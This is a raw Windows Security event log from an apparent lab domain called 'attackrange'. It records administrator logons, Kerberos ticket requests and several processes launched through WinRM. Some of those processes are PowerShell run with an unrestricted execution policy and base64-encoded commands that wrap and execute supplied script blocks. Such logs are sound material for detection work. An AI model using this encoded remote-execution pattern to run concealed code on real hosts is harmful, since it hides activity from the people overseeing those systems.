	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252452
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15DAD4

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252451
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15DAD4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{629A0E11-CFA6-A593-1EB1-6AC951E2FA82}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252450
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{629A0E11-CFA6-A593-1EB1-6AC951E2FA82}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252449
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{629A0E11-CFA6-A593-1EB1-6AC951E2FA82}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252448
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252447
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15D57F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10dc
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x133c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252446
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15D57F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x133c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x928
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252445
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15D8E3

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252444
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15D8E3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{629A0E11-CFA6-A593-1EB1-6AC951E2FA82}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252443
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{629A0E11-CFA6-A593-1EB1-6AC951E2FA82}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252442
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{629A0E11-CFA6-A593-1EB1-6AC951E2FA82}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252441
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252440
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13fc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13dc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252439
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15D57F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13a0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x928
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

